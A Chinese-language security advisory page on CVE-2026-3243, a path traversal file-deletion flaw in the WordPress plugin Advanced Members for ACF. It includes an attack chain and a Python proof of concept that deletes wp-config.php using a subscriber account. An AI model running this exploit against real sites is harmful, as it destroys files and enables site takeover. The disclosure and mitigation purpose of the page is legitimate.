IPBUF安全漏洞报告
English
CVE-2026-3243 CVSS 8.8 高危

CVE-2026-3243 WordPress插件任意文件删除漏洞

披露日期: 2026-04-08

漏洞信息

漏洞编号
CVE-2026-3243
漏洞类型
任意文件删除
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Advanced Members for ACF

相关标签

WordPress插件漏洞任意文件删除路径遍历RCECVE-2026-3243

漏洞概述

Advanced Members for ACF WordPress插件在1.2.5及之前版本中存在路径验证不足漏洞。认证攻击者(订阅者级)可利用`create_crop`函数通过路径遍历删除服务器任意文件,如删除`wp-config.php`可导致远程代码执行。

技术细节

该漏洞位于插件`core/modules/class-avatar.php`文件的`create_crop`函数中。由于未对用户输入的文件路径进行充分的规范化处理和安全校验,攻击者可利用目录遍历字符(如`../`)跳出预期目录。攻击者仅需拥有最低权限(订阅者),即可发送恶意请求删除关键系统文件。特别是删除`wp-config.php`后,WordPress将进入未安装状态,攻击者可借此访问安装页面,重置数据库连接并创建新的管理员账户,从而在服务器上执行任意代码,完全接管站点。

攻击链分析

STEP 1
侦察
识别目标站点是否安装了Advanced Members for ACF插件且版本在1.2.5及以下。
STEP 2
获取访问权限
注册或获取一个低权限账户(如订阅者Subscriber)。
STEP 3
漏洞利用
利用订阅者权限向服务器发送包含恶意路径(如`../../wp-config.php`)的请求,调用`create_crop`函数。
STEP 4
提升权限/执行代码
成功删除`wp-config.php`后,访问WordPress安装页面,重新配置数据库并创建管理员账户,从而获得RCE权限。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Exploit scenario for CVE-2026-3243 # Target: WordPress with Advanced Members for ACF <= 1.2.5 # Description: Deletes wp-config.php to trigger reinstallation/RCE target_url = "http://example.com/wp-admin/admin-ajax.php" # Attacker's cookie (Subscriber level) cookies = { "wordpress_logged_in_xxx": "attacker_session_cookie" } # Payload data exploiting the path traversal payload_data = { "action": "create_crop", "file_path": "../../wp-config.php" # Path traversal payload } try: response = requests.post(target_url, data=payload_data, cookies=cookies) if response.status_code == 200: print("[+] Exploit request sent successfully.") print("[+] Check if wp-config.php is deleted.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Advanced Members for ACF <= 1.2.5

防御指南

临时缓解措施
如果无法立即升级插件,建议暂时禁用该插件以阻断攻击链。同时,检查服务器日志中是否存在针对`create_crop`函数的可疑调用,并确保Web服务器进程对WordPress核心配置文件没有写入权限。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表